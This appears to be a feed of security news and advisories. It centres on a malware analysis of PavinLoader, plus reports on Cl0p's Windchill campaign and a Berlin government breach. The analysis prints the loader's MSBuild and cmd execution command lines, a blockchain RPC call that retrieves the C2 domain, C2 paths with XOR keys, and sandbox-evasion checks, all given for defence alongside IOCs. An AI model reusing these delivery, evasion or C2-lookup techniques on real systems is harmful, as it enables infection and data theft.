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multilin d60 firmware
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Ciberataque contra el Landesnetz de Berlín y publicación de datos sustraídos
Ciberataque contra el Landesnetz de Berlín y publicación de datos sustraídos 15/09/2026 Mar, 15/09/2026 - 09:51 Entre el 7 y el 12 de agosto de 2026 se produjo el principal flujo de datos desde sistemas de dos administraciones del Gobierno regional de Berlín: la Senatsverwaltung für Mobilität, Verkehr, Klimaschutz und Umwelt y la Senatsverwaltung für Stadtentwicklung, Bauen und Wohnen. El incidente fue detectado durante investigaciones forenses y, el 14 de agosto, ambas administraciones fueron desconectadas preventivamente del Landesnetz para evitar una posible propagación. El Gobierno de Berlín hizo público el incidente el 17 de agosto, cuando todavía no había concretado su alcance. Posteriormente, las investigaciones confirmaron que se había producido una extracción de datos antes de la desconexión de los sistemas.  Tras el acceso, el grupo criminal Rhysida asumió la autoría y afirmó haber sustraído aproximadamente 5,7 TB de información, aunque esta cantidad fue inicialmente una afirmación únicamente de los atacantes. El grupo exigió al Gobierno de Berlín 30 bitcoins, unos dos millones de euros, a cambio de no publicar los datos, pero las autoridades rechazaron el pago. El 4 de septiembre los atacantes comenzaron a publicar los datos en la Darknet y posteriormente, difundieron un nuevo paquete el 6 de septiembre, que incluía credenciales de acceso. El Gobierno de Berlín estableció una unidad central de coordinación para revisar, verificar y evaluar la información publicada, con participación del LKA, las dos administraciones afectadas, la autoridad de protección de datos y otros organismos de seguridad; además, se adoptaron medidas adicionales tras la aparición de las credenciales.  A fecha de 10 de septiembre de 2026, el Gobierno de Berlín mantiene abiertas las investigaciones forenses y el análisis de los datos publicados, por lo que todavía no existe una identificación completa de toda la información afectada. La Administración señala que los datos corresponden principalmente a información no estructurada almacenada en directorios compartidos y personales de empleados de las administraciones afectadas, y que pueden existir datos personales de empleados, ciudadanos y empresas; la propia administración ha indicado que no puede pronunciarse todavía sobre documentos concretos hasta finalizar el análisis. No existen, según el estado comunicado oficialmente, indicios de que el Landesnetz continúe infiltrado, mientras que las personas identificadas como afectadas serán notificadas conforme a la normativa de protección de datos. El 10 de septiembre se habilitó además un punto central de contacto para ciudadanos y empresas afectados.    Referencias 17/08/2026 Land Berlin IKT-Vorfall im Landesnetz Berlin 17/08/2026 Berliner Zeitung Bau- und Verkehrsverwaltung in Berlin nach Hackerangriff vom Landesnetz isoliert 26/08/2026 Land Berlin Mehr Daten beim IKT-Vorfall abgeflossen 05/09/2026 Euronews Las 8 preguntas y respuestas clave del ciberataque y filtración de datos en Alemania Etiquetas Administración pública Cibercrimen Fuga de información
incibe.esSep 15, 2026extracted
NCSC-2026-0333 [1.00] [M/H] Kwetsbaarheden verholpen in CodeMeter Runtime van Wibu-Systems
Wibu-Systems heeft meerdere kwetsbaarheden verholpen in CodeMeter Runtime. De kwetsbaarheden bevinden zich in verschillende onderdelen van CodeMeter Runtime, met name in versies voor 8.41a en 9.10. Een lokale aanvaller kan misbruik maken van onjuiste verificatie van NTFS reparse points bij het aanmaken van tijdelijke bestanden door cmu.exe, wat kan leiden tot het verwijderen van willekeurige systeembestanden met System-privileges en daarmee lokale privilege-escalatie. Daarnaast bevat de configuratie command handler een fout waardoor netwerkrestricties niet correct worden afgedwongen, wat een aanvaller op afstand in staat stelt om ongeautoriseerde toegang te verkrijgen tot gevoelige configuratiegegevens en controle over de WebAdmin interface. Verder is er een input sanitization probleem in de logger module, waardoor format specifiers kunnen worden geïnjecteerd, wat kan leiden tot crashes en mogelijk informatielekken, zowel lokaal als op afstand, vooral in combinatie met CVE-2026-81573. Ook ontbreekt er correcte bounds checking op de data length in opcode 0x5e requests, wat een segmentation fault kan veroorzaken en de stabiliteit van de servercomponent kan beïnvloeden. Ten slotte wordt een zwakke SID gebruikt voor authenticatie, waardoor brute-force aanvallen mogelijk zijn om toegang te krijgen tot sessiehandles en daarmee tot licentie-informatie van andere sessies.
advisories.ncsc.nlAug 28, 2026extracted
Tracking PavinLoader across ClickFix and fake download campaigns
In our previous analysis of the malicious RenPy campaigns, we identified a multi-stage loader deployed as part of the infection chain. Further threat hunting has since shown that the same loader, which we track as PavinLoader , is being used across several different campaigns, including ClickFix attacks and fake software downloads.  Despite differences in how these campaigns reach victims, we found several common elements. These include multi-stage infection chains involving heavily obfuscated and trojanized .NET DLLs; abuse of MSBuild, .csproj , and .bat files to execute them; and EtherHiding to retrieve the command-and-control (C2) domain.  What an attack looks like The campaigns don’t all start the same way. A victim might encounter a fake CAPTCHA that tells them to run a command, download what appears to be legitimate software, or install a malicious game. What happens next is much more consistent. PavinLoader uses legitimate Windows tools alongside malicious .NET files to run several stages of malware. It also uses EtherHiding, a technique that uses a blockchain to hide information about its infrastructure, to find the server from which it should retrieve additional malware. In the RenPy campaign we analyzed, that process ultimately led to Amatera Stealer , malware designed to steal information from an infected computer. We also observed PavinLoader infections delivering additional malware. PavinLoader appears across multiple campaigns We have identified PavinLoader in several campaign clusters:  Malicious RenPy campaigns, as analyzed in our earlier blog post Several ClickFix campaigns, including recent activity from the operator(s) covered in our previous analysis Fake software campaigns that used Dropbox to download PavinLoader.  The loader’s use across multiple campaigns raises the possibility that PavinLoader is offered as a Loader-as-a-Service. We also found several artifacts that support this possibility, although they are not enough to confirm it. One specific artifact on VirusTotal is shared by more than 200 files associated with PavinLoader, suggesting it may be a compilation artifact of the build process. We also found a PowerShell script uploaded to VirusTotal containing comments such as EDIT HERE and REPLACE with a real direct link to your .bat . The associated BAT file contains the string Automated builder helper . However, we haven’t found a build panel or sales channels that would confirm PavinLoader is being offered commercially. The PowerShell script . Click to enlarge Part of the BAT file . Click to enlarge   Although PavinLoader has changed over time, the campaigns we analyzed share several characteristics: Inno Setup or MSI installers generated with different builders that run the .bat and/or .csproj files Trojanized .NET DLLs, including DotNetZip, Nancy, Renci.SshNet, and OpenXML. In most of the cases analyzed, the inserted malicious methods follow a TwoWords or TwoWordsNumber naming pattern, such as DefaultEvaluator5 , and FallbackFactory5 A common obfuscation technique used across the .NET DLLs A naming convention based on two random words, such as  GollopDevest , UnbrandRunover , and PavinWide , for DLL names, functions, strings, C2 paths, and other artifacts EtherHiding to obtain the C2 domain, followed by HTTP requests using paths such as assets/{two random words}.json to retrieve subsequent stages. C2 domains commonly use the .lat , .icu , .shop , and .cfd top-level domains MSBuild mechanisms for loading and executing code from DLLs, including property functions such as [System.Reflection.Assembly]::Load(...) and UsingTask Recurring filename patterns such as name_4characters.cmd/bat/msi/exe —for example, prefetch_9a59.cmd , telemetry_55db.cmd , and bootstrap_64be.cmd —or random nine-character names such as aegZpQ4C7.bat . We also observed short names including Small.msi , small.bat , and small.cmd PavinLoader consists of several .NET DLLs, and in the cases analyzed we identified the following stages:  Loader DLL : A trojanized DLL—such as the Nancy one analyzed in our previous RenPy article—or a custom DLL. It performs anti-forensics and anti-analysis operations, changes network settings needed for the next operations, and loads the EtherHiding Loader EtherHiding Loader DLL : Obtains the C2 through EtherHiding and downloads the next stages from it  Anti-Analysis DLL : Performs extensive anti-analysis checks to detect virtualized environments.  PE Loader DLL : Loads the final PE payload. Intermediate payloads can vary depending on the campaign configuration. First, we’ll look at some of the methods used to distribute the initial PavinLoader stages. We’ll then return to the RenPy loader campaign we analyzed in our previous article to examine the loader’s later stages.  Technical analysis The rest of this article takes a closer look at how PavinLoader is distributed and how each stage of the loader works. How PavinLoader is delivered We have observed PavinLoader being delivered through several ClickFix campaigns. In particular, we detected that the ClickFix cluster analyzed in a previous article has recently started using PavinLoader. Abuse of MSBuild and the use of .csproj and .bat files remain common across the infection chains we observed. We covered one example in our previous RenPy analysis. Here, we’ll look at several other distribution methods.  The ClickFix Cloudflare page associated with this campaign . Click to enlarge   As we saw in our previous analysis of these ClickFix campaigns, the associated PowerShell scripts change frequently. We found several versions in this activity, including both obfuscated and unobfuscated scripts. The PowerShell script associated with the ClickFix campaign. Click to enlarge In this example, the downloaded MSI from the Cloudflare bucket is called Installer_57be78.msi.  MSI content . Click to enlarge The package contains: prefetch_2f76.exe : The legitimate MSBuild executable prefetch_2f76.csproj : Used to execute the Loader DLL through UsingTask DotNetZip.dll : The Loader DLL The .csproj file is executed with: "C:\Users\{USER}\AppData\Local\Logitech\Device Configuration Helper\prefetch_2f76.exe" /nologo "C:\Users\{USER}\AppData\Local\Logitech\Device Configuration Helper\prefetch_2f76.csproj" /nr:false The Loader DLL is a trojanized version of DotNetZip and is executed using the UsingTask element. “UsingTask” used to execute the DLL . Click to enlarge The malicious method inserted in the trojanized DLL. Click to enlarge.  Unlike the RenPy example discussed in our previous article, the EtherHiding Loader is extracted from the DLL itself. An embedded resource is used as an index to extract bytes directly from the DLL, rather than obtaining those indexes from the .csproj file. We detected another campaign that uses BAT files containing fake BUILD VERIFICATION REPORT comments, apparently intended to make analysis and detection more difficult. In this case, the MSI CustomAction executes the BAT script with: cmd.exe /c C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd /launched Fake comments inserted in the updater_8219.cmd . Click to enlarge The obfuscated code appears below the fake comments. It concatenates multiple strings and uses indices generated through simple mathematical operations to reconstruct them. We found this type of obfuscation in most of the BAT files we analyzed. The obfuscated part of the .cmd file . Click to enlarge The BAT file locates conhost.exe and relaunches itself with: "C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c "C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd" /launched It then sets the MSBUILDENABLEALLPROPERTYFUNCTIONS=1 environment variable, locates MSBuild.exe , and executes it using the same file as input: "C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd" In this case, the Loader DLL is reconstructed by concatenating and decoding four Base64-encoded variables. Part of the CMD file showing the loading process. Click to enlarge The Loader DLL has a random name and appears to be an older version because it does not contain the custom bytecode and encrypted strings in its resources. As in the RenPy campaign analyzed previously, this stage retrieves the EtherHiding Loader stored between a Build-... marker in the CMD file through the _vezr environment variable, then decodes it using XOR with a 32-byte key. The extracted Loader DLL. Click to enlarge Having looked at several methods used to distribute PavinLoader’s first two stages, we will now return to the RenPy infection chain from our previous analysis and examine the loader itself in more detail. Analyzing PavinLoader The .NET DLLs associated with PavinLoader are heavily obfuscated using control-flow flattening, custom bytecode, indirect calls through calli / ldftn , string encryption with different algorithms, API hashing and delegates, redundant methods, and junk code and strings. We did not identify a known obfuscator associated with the samples, so to the best of our knowledge, PavinLoader uses a custom obfuscator. Because fully deobfuscating the samples would be complex, we used a hybrid approach combining dynamic analysis with method invocation through reflection. We identified important methods based on their imports and parameters, invoked them, and analyzed the resulting output. This approach does not provide complete coverage of the execution flow, but it allowed us to identify the loader’s core functionality and extract its intermediate stages. Because different functions frequently share the same names, we use metadata tokens to identify methods throughout the analysis. Nancy trojanized DLL: Loader DLL  We covered this stage in detail in our previous blog post, so we’ll provide only an overview here. In most of the cases analyzed, the Loader DLL is a trojanized legitimate DLL. The malicious method typically uses a {RandomWord} or {RandomWord_Number} naming convention. The DLL contains a resource associated with the custom bytecode interpreted by the main method, two resources containing encrypted strings, and, in some cases, additional resources used as an index for extracting the next stage. Other resources appear to be decoys designed to slow analysis. In the samples we analyzed, this DLL typically: Decrypts strings from resources using multi-key XOR Resolves APIs using API hashing and GetDelegateForFunctionPointer() Changes network settings, including disabling TLS certificate validation and setting the default system proxy Performs an anti-analysis timing check using CreateEventW() , GetTickCount() , and WaitForSingleObject() Performs anti-forensics operations Loads the EtherHiding Loader either by extracting it from a marker inside .csproj or BAT files, or by using a resource as an index to retrieve bytes directly from the DLL GollopDevest: EtherHiding Loader  The EtherHiding Loader has two main functions: obtaining the C2 domain through EtherHiding, and downloading and loading subsequent stages from that C2. Class 0x02000762 is responsible for decrypting strings associated with blockchain and network communication. The strings are decrypted by 0x060027BD as follows:  Function 0x060027BB initializes the S-box using the XOR of the master key activeValues and the Base64-decoded optionsCollection string Function 0x060027BE takes childSyncObject as input and returns index bytes using XOR and permutations based on header values encoded in the first two characters of the string Function 0x060027B9 returns the decrypted string using the indexes and the previously generated S-box This was the only class we found with encryption parameters encoded in this format. For the remaining strings, we identified functions that returned decrypted data based on their parameter signatures—for example, methods returning strings or bytes—and invoked them through reflection. This allowed us to recover more than 1,300 strings. Part of the decrypted strings . Click to enlarge   Among them were strings associated with AMSI and ETW patching: AmsiScanString System.Management.Automation.AmsiUtils System.Management.Automation.AmsiUtils+AmsiNativeMethods ntdll EtwEventWrite NtQueryInformationProcess NtSetInformationThread VirtualProtect More than 100 URLs belonging to legitimate services are also decrypted and used to generate HTTP requests and network noise. We did not observe this behavior in every sample, suggesting it may be build-specific. The Server class ( 0x02000052 ) generates the X-Timestamp , X-Nonce , and X-Signature HTTP headers and makes requests used to retrieve subsequent stages. Two HTTP requests are made to synchronize parameters and obtain the payload, with HMAC used to validate the requests. Using reflection, we executed method 0x06000A77 to obtain the header values needed to retrieve the subsequent stages. The C2 domain is obtained by making an ETH RPC (Remote Procedure Call) to bsc-dataseed.binance.org with the following JSON-RPC body: {"jsonrpc":"2.0","method":"eth_call","params":[{"to":" 0x328a1fadff154290f0ce1389a4e633698cdfdaa7 ","data":"0x06fdde03"},"latest"],"id":1783436775}  The next stages are downloaded from the resulting C2 domain. The XOR-encoded payload is stored in the JSON response under cache.content : {"type":"cache-binary","meta":{"version":"2.3.1","timestamp":"…","platform":"win32-x64"},"cache":{"id":"e2b69…"," content ":" 1c.. "}}  In this case, the C2 paths and XOR keys decrypted from this stage and the anti-analysis DLL are: Path   XOR key   Type/Function   /assets/ExponeAboard.json  QBBBfWow4lb  PavinWride .NET DLL, Anti-analysis   /assets/MailersKogasin.json  WjcsVTKmuoBRqe  GollopDevest .NET DLL, PE Loader  /assets/LanoseThrip.json  WwUX66Br  WPA.exe PE executable, Amatera Stealer  The next stage executed is the anti-analysis DLL.  PavinWride: Anti-analysis DLL  This DLL is responsible for performing several anti-analysis checks.  The anti-analysis DLL executes system calls in different ways:  Standard .NET Base Class Library (BCL) calls, including for registry and network operations Win32 P/Invoke calls, including GetCurrentThread , NtQueryInformationThread , NtQueryInformationProcess , and NtCurrentTeb Win32 APIs resolved through API hashing and a Process Environment Block (PEB) export table walk The function MenuItemService . ProcessDirectory ( 0x06000151 ) is the main method responsible for delegate caching and Win32 API resolution:   It checks if the delegate is already resolved using managerMap.TryGetValue()  If not, it calls ProcessDirectory (0x06000150) to obtain the HMODULE handle It calls ProcessDirectory (0x0600003A) that performs the PE export table walk and matches the hash. We detected that the same hashing output is obtained in several other methods (e.g., 0x06000039 , 0x0600003B , 0x0600004E ) It obtains the delegate with GetDelegateForFunctionPointer() and saves it in the dictionary Results of the API hashing script . Click to enlarge   We used the same reflection approach to get the strings.  Many strings are encrypted with the XOR key 4B729A1F5CE387D6 .  Part of decrypted strings. Click to enlarge   The loader obtains the system’s LCID using GetKeyboardLayoutList() and compares it against more than 17 languages, including Russian, Ukrainian, Belarusian, and Armenian. It also performs extensive system reconnaissance, including enumerating registry keys and calling Win32 APIs such as GetSystemFirmwareTable() and EnumSystemFirmwareTables() to identify virtualized environments. Category   Value   PCI vendor / device IDs   VEN_80EE , VEN_15AD , VEN_1AB8 , VEN_5853 , VEN_1AF4 , VEN_1234&DEV_111 , … SMBIOS/ACPI OEM IDs   VMWARE , VBOX , BOCHS , VRTUAL , MSFTVM , MSHYPR , Xen , Parall , BHYVE , AMAZON , Google ACPI table signatures   VBOX , BXPC , VMW , Xen , PRLS , AMZN , MICR BIOS/manufacturer/product strings   vmware , vmw , innotek , virtualbox , vbox , qemu , seabios , bochs , standard pc , kvm virtual machine , xen , hvm domu , parallels Strings associated with anti-analysis checks Part of the registry key enumeration . Click to enlarge We also observed decrypted references to APIs including GetCurrentProcess() , CreateToolhelp32Snapshot() , Process32First() , Process32Next() , and OpenMutex() , although we did not observe these functions being called during our execution flow. An HTTP request is also made to one of these services:  https://ipv4[.]ipleak[.]net/json/ https://get[.]geojs[.]io/v1/ip/geo[.]json https://ipapi[.]co/json/ https://api[.]ipapi[.]is/ https://ipinfo[.]io/json It also checks the returned data against 96 hosting or infrastructure providers and tests whether the region code is one of: RU , UA , BY , AM , KZ , KG , TJ , UZ , GE , AZ , or MD . Decrypted strings associated with providers . Click to enlarge If the anti-analysis checks pass, the next two stages are downloaded and decrypted using XOR keys. We patched SelectionScope.ProcessDirectory ( 0x06000014 ) to recover the C2 paths and XOR keys for those stages: /assets/MailersKogasin.json|WjcsVTKmuoBRqe|/assets/LanoseThrip.json|WwUX66Br GollopDevest: PE Loader DLL and Amatera Stealer The third DLL has the same name as the second, GollopDevest , but performs PE loading. Among its decrypted strings are: 'GollopMailers LDR DllBase VeneryCondole EdiyaFoully=0x{0:X} EdiyaStelae=0x{1:X}' 'GollopMailers LDR Flags missing IMAGE_DLL 0x{0:X8}' 'GollopMailers LDR SaranPisco invalid 0x{0:X}' 'GollopMailers LDR TlsIndex invalid {0}' 'GollopMailers LDR sanity exception: ' 'HIGHLOW relocation' 'Import DLL name' 'Import FunctusAurata' 'Import INT' 'Import descriptor' 'Import hint/name' 'Import thunk' 'LdrpHandleTlsData outside ntdll .text' 'LdrpReleaseTlsEntry outside ntdll .text' 'LoadConfig32' 'OK' 'PE headers' 'Required API resolve failed: type={0}, FreshBubals={1}, module=0x{2:X}' 'TLS32' 'TLS64' 'x86 disabled until ABI proof' ntdll.dll kernel32.dll LdrpInitializeTls "STATUS_SUCCESS" UNKNOWN(0x00000001) UNKNOWN(0x00000002) UNKNOWN(0x00000003) The ServerEditor.SortMemory method ( 0x06000014 ) checks the PE structure and flags before loading the payload. To confirm this behavior, we invoked the method through reflection using the downloaded WPA.exe file as input. The PE loaded successfully. The C++-compiled PE disguises itself as WPA.exe (Windows Performance Analyzer). We identified the payload as an obfuscated version of Amatera Stealer 4.2.3-alpha1 . It uses control-flow flattening, API hashing, anti-debugging checks, and opaque predicates to complicate analysis. We also detected use of the Heaven’s Gate technique, DNS-over-HTTPS (DoH) resolution through Google DNS, and raw sockets using \Device\Afd\Endpoint for network communication.  Part of the decrypted strings associated with Amatera . Click to enlarge After this stage executes, we also observed additional payloads being downloaded and run from C2 IP addresses. In some cases, WiX Burn bundles downloaded another payload associated with PavinLoader. In others, we detected HijackLoader. This gives the campaign operators the ability to deploy multiple payloads on a compromised machine. IOCs  SHA-256 hashes bdf313a019e025ebf58ccef4619444ee70e661bd444e0644ebeabd8f5caad14c  e3830f5747e3f46537d217124d80c9f3bb4d89f8d4f5138dce69ee54ea4fb6b9  a4f03272cf96732dc9f58bb466d16f358e7f50d46dba30526a9fbebfec11717b  bf04160dd1ce3571e0eb6d6dda1713c788797b5599399d4a93665a757eec376e  54fa8083c05334aa360256fbbb0ca901ce7e244a0359dd664cae78977371ec91  c1ea6d169565c70ac5d812e73483814929e9b3548ead6633595937e71a334adb  001337488c32d8610c2aef6f9330acca825f0afacd071bf6ebfc06b5a1a69f09  2837099af431e9afee76ce5e6ab5cb86bedce06e31c22be46250cb453cfdb978  252c5a3d150275013f52b4820097d7163ced4aa2f1be0fca032f8a5017673816  0c9c64b7383ec249bcf6271a4b73206d94de130ca401d16ab77fe01e5193a312  6700f62e1a3b33340cd678c388ecc8bac2e5943c0627df5d1b99b879c3ca42c9  IP addresses   93.152.224[.]75 : downloads PavinLoader  65.21.80[.]170 : downloads PavinLoader  195.63.142[.]49 : downloads PavinLoader  Domains   perfectverified[.]com : ClickFix  PavinLoader C2   catalyst-pro[.]lat  twigoamwu[.]cfd  trusaifi[.]cfd  stellar-minds[.]cfd  pinnacle-labs[.]lat  nexahub[.]lat  fimwoglea[.]shop  velodium[.]lat  rpcsecnoweb[.]pro  more-arpc[.]icu  echo-systems[.]cfd  kelemet[.]shop  zarwieciv[.]cfd  URLs   telegra[.]ph/Project-PySynth-06-28 : Amatera dead drop  Acknowledgements   Previous analysis of the loader: https://www.derp.ca/research/hellsuchecker-clickfix-etherhiding/#26-anti-sandbox-checks-and-a-nintendo-bypass (possible AI-generated content)  Possible related activity: https://cyberowi.pl/lumma-stealer-renpy-fitgirl-osmiowarstwowy-loader/   Possible related activity: https://medium.com/@djordje.brankovic/from-fake-captcha-to-in-memory-execution-unraveling-a-multi-stage-malware-chain-part-1-496c603f3641   Analysis of a forum user: https://forums.malwarebytes.com/topic/338102-solution-of-gollopdevestdll-renpy-loader-malware-from-malwarebytes-blog/   From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by  downloading Malwarebytes today .
malwarebytes.comAug 24, 2026extracted
Cl0p Ransomware Group Names Over 40 Victims of PTC Windchill Campaign
The Cl0p ransomware group has named more than 40 organizations allegedly targeted in the recent campaign that exploited a vulnerability in PTC’s product lifecycle management (PLM) platforms Windchill and FlexPLM. The vulnerability and its exploitation The exploitation of the vulnerability, tracked as CVE-2026-12569, came to light in June, when CISA added it to its KEV catalog and the vendor warned of attacks targeting it. The flaw is an improper input validation issue that allows a remote, unauthenticated attacker to achieve arbitrary code execution via specially crafted requests. Exploitation of the vulnerability was expected, with police in Germany reportedly alerting organizations about imminent attacks. It’s worth noting that CVE-2026-12569 is the first ever Windchill vulnerability to be exploited in the wild. The cybersecurity industry reported seeing exploitation of the PLM product flaw in Cl0p ransomware attacks in late July. Cl0p affiliates exploited the security hole to deliver web shells that gave them access to the data of organizations using Windchill. Security firm ReliaQuest reported on Tuesday that Cl0p has been using a custom implant designed to provide “full data theft capability” without requiring additional tools. “[The web shell] maps sensitive vault data, decrypts every credential in the Windchill keystore, and includes a custom Java class loader that lets Clop execute any additional code inside the application process, extending the shell into an unlimited backdoor for follow-on activity such as lateral movement, ransomware, or persistence,” ReliaQuest explained. Cl0p attacks The Cl0p cybercrime gang initially only listed partial company names on its website, but on August 12 it started releasing alleged victims’ full names. More than 40 organizations apparently targeted in the Windchill campaign have been named to date. For each victim, the hackers listed the type and amount of information they have stolen. The type of exfiltrated data includes databases, project files, backups, photographs and other image files, engineering documents, blueprints, diagrams, logs, and other corporate documents. The amount of stolen information per organization ranges between 1 GB and several terabytes, according to the hackers. The compromised files could contain sensitive personal information and valuable intellectual property, but much of it may be of little value and already in the public domain, which is why many of the targeted organizations have likely refused to pay a ransom. The list of alleged victims includes oil and gas giant Shell, tech giant Philips, fintech giant Fiserv, enterprise mobility provider Zebra Technologies, industrial equipment manufacturer Ingersoll Rand, point-of-sale software maker Toast, global medical technology leader Mindray, and key Apple camera lens supplier Largan Precision. GE was initially listed as well, but it has since been removed from the Cl0p website, which could indicate that the company has agreed to pay a ransom or has resumed negotiations with the hackers. Companies such as Shell, Philips, Fiserv and GE stated that they are aware of the claims and are investigating, but none has confirmed a significant data breach. Cl0p previously conducted similar data theft and extortion campaigns targeting vulnerabilities in Oracle E-Business Suite, MOVEit, Cleo, and GoAnywhere software. Related: CareCloud Data Breach Impact Grows to 3.7 Million Individuals Related: Heights Finance Data Breach Impacts at Least 1.2 Million Individuals Related: 680,000 Impacted by French Tax Authority Data Breach
securityweek.comAug 19, 2026extracted
Philips and GE investigating Clop ransomware data theft claims
Tech giants General Electric (GE) and Philips have also confirmed they're investigating claims that the Clop ransomware gang breached their systems and stole data. While a GE spokesperson said the company is aware of the claim and is "working to assess the potential issue," a Philips spokesperson confirmed its systems were breached but said the incident has been contained and didn't affect customers. "Philips has identified and contained an attempted cybersecurity compromise of a specific enterprise server related to internal data," Philips said in a statement shared with Reuters. "This has no impact on customer environments." GE and Philips spokespersons have yet to reply after BleepingComputer also reached out to them for more details and to confirm the Clop ransomware gang's claims. This comes after oil giant Shell also said on Friday that it is investigating a potential security incident after the Clop hacking group claimed it stole 89GB of data. "We are aware of a potential incident," a Shell spokesperson told BleepingComputer when asked to confirm the gang's data theft claims. "We are working with our security teams and relevant experts to investigate. While the three companies have yet to share more information, the Clop gang has listed them on its leak site as part of a batch of 43 new victims likely targeted in data theft attacks exploiting a critical improper input validation vulnerability (tracked as CVE-2026-12569) against Internet-exposed PTC Windchill and PTC FlexPLM instances. PTC says the two enterprise software platforms are widely used by high-profile companies across the aerospace, defense, automotive, heavy machinery, retail, and medtech sectors. The company says more than 30,000 customers globally use its products, including over 1,500 brand and retail customers using FlexPLM. In these attacks, Clop claims it stole a wide range of sensitive data from the companies' compromised systems, including backups, project plans, photos of facilities, drawings, diagrams, blueprints, and more, belonging to Shell, GE, and Philips. PTC began releasing CVE-2026-12569 security patches on June 17 and urged customers to review environments for indicators of compromise (IOCs) in a private advisory, even though there was no confirmation of in-the-wild exploitation. Since then, cybersecurity company ReliaQuest and the Ransomware Information Sharing and Analysis Centre (Ransom-ISAC) have confirmed Clop's Windchill and FlexPLM attacks, in which the threat actors have been deploying JSP webshells to steal sensitive data from victims' compromised PLM platforms. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) also confirmed that the flaw is actively exploited in attacks after PTC warned of "heightened threat activity" on June 26, mandating federal agencies to secure their PTC Windchill and FlexPLM instances within three days after adding it to its catalog of known exploited vulnerabilities. This vulnerability has also prompted emergency action from German authorities, with the Federal Office for Information Security (BSI) warning PTC customers in the middle of the night to patch systems as quickly as possible. The Clop extortion gang has a long history of targeting enterprise platforms in data theft attacks, breaching Accellion FTA, GoAnywhere MFT, SolarWinds Serv-U FTP, Cleo, and MOVEit Transfer file-sharing servers in previous campaigns, with the latter affecting over 2,770 organizations worldwide. Starting in early August 2025, it also began exploiting an Oracle EBS zero-day flaw to steal sensitive files from many organizations. The list of victims includes many high-profile organizations worldwide, including The Washington Post, GlobalLogic, Harvard University, the University of Pennsylvania, Logitech, Estée Lauder, Korean Air, and American Airlines subsidiary Envoy Air. The U.S. Department of State now offers a $10 million reward for any information linking the cybercrime gang's attacks to a foreign government. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 17, 2026extracted
Shell investigates 'potential incident' after Clop data theft claims
Oil giant Shell has confirmed it is investigating a potential security incident after the Clop ransomware gang claimed it stole 89GB of data. Shell is a British multinational energy conglomerate and one of the world's top three oil and gas companies, after Chevron and ExxonMobil. It has 85,000 employees in more than 70 countries and operates a massive network of tens of thousands of service and recharge stations that serve over 20 million customers daily. According to a recent post on Clop's dark web data leak site, the allegedly stolen files include engineering drawings, scans of facility testing reports, photos of the facilities, and project plans. "We are aware of a potential incident. We are working with our security teams and relevant experts to investigate," a Shell spokesperson told BleepingComputer when asked to confirm Clop's data theft claims. While the company has yet to share more information, the Clop gang listed it on its leak site as one of 43 new victims likely targeted in data theft attacks against Internet-exposed PTC Windchill and FlexPLM instances exploiting a critical improper input validation vulnerability tracked as CVE-2026-12569. As part of the same attacks, Clop also claimed it stole sensitive data, including backups, system files, projects, drawings, diagrams, and blueprints, from the networks of tech conglomerates General Electric and Philips. GE and Philips spokespersons were not immediately available for comment when BleepingComputer contacted them earlier today. A PTC spokesperson has also yet to reply to a request for comment. PTC began releasing CVE-2026-12569 security patches on June 17 and, even though it didn't confirm in-the-wild exploitation, it also released a private advisory urging customers to review environments for indicators of compromise (IOCs). After PTC warned customers of "heightened threat activity" on June 26, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) also confirmed that the flaw is actively exploited in attacks, adding it to its Known Exploited Vulnerabilities catalog, and ordering federal agencies to secure their PTC Windchill and FlexPLM instances within three days. CVE-2026-12569 also prompted emergency action from German authorities, with the Federal Office for Information Security (BSI) warning PTC customers in the middle of the night to patch their systems as quickly as possible. Clop's Windchill and FlexPLM attacks were also confirmed by the Ransomware Information Sharing and Analysis Centre (Ransom-ISAC), a non-profit organization dedicated to the tracking and defense against ransomware threats, and by cybersecurity company ReliaQuest, which said that the threat actors have been deploying JSP webshells that allow them to steal sensitive data from victims' compromised PLM platforms. PTC FlexPLM and PTC Windchill are enterprise software platforms in the Product Lifecycle Management (PLM) category, used to track, design, and manage products up to final manufacturing. The two systems are widely popular among engineering, manufacturing, quality, and supply chain teams at high-profile companies across the aerospace, defense, automotive, heavy machinery, retail, and medtech sectors. PTC says that its products are used by over 30,000 customers globally, including more than 1,500 brand and retail customers using FlexPLM. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 14, 2026extracted
NCSC-2026-0265 [1.00] [M/H] Kwetsbaarheden verholpen in SolarWinds Serv-U
SolarWinds heeft meerdere kwetsbaarheden verholpen in Serv-U. De kwetsbaarheden in SolarWinds Serv-U betreffen voornamelijk insecure direct object reference (IDOR) en broken access control. Deze maken het mogelijk voor aanvallers met bepaalde privileges, zoals domain administrator of group administrator toegang, om privileges te escaleren naar system administrator of root-niveau. Hierdoor kunnen zij op afstand willekeurige code uitvoeren en systeembeheerrechten verkrijgen. Sommige kwetsbaarheden maken het ook mogelijk om SMTP-sessies te kapen, accounts over te nemen, of persistent cross-site scripting (XSS) uit te voeren die sessies van beheerders kan compromitteren. De impact van deze kwetsbaarheden is op Windows-omgevingen doorgaans minder groot dan op andere platformen. Exploitatie vereist meestal dat de aanvaller al beschikt over geauthenticeerde toegang met hoge privileges, zoals domain administrator rechten. De verholpen kwetsbaarheden betreffen zoals gezegd overwegend kwetsbaarheden die kunnen worden misbruikt in zo genaamde 'Evil Admin'-scenario's. Dit soort kwetsbaarheden zijn doorgaans niet eenvoudig te misbruiken door ongeathenticeerde kwaadwillenden op afstand. Echter zijn er in deze updates dermate veel verholpen dat het aan te raden is om, naast het inzetten van de updates, te controleren hoe de rechtenstructuur is geïmplementeerd. Dit geldt voornamelijk voor onderdelen die publiek toegankelijk zijn.
advisories.ncsc.nlJul 27, 2026extracted
NCSC-2026-0264 [1.00] [M/H] Kwetsbaarheden verholpen in Check Point Security Management producten
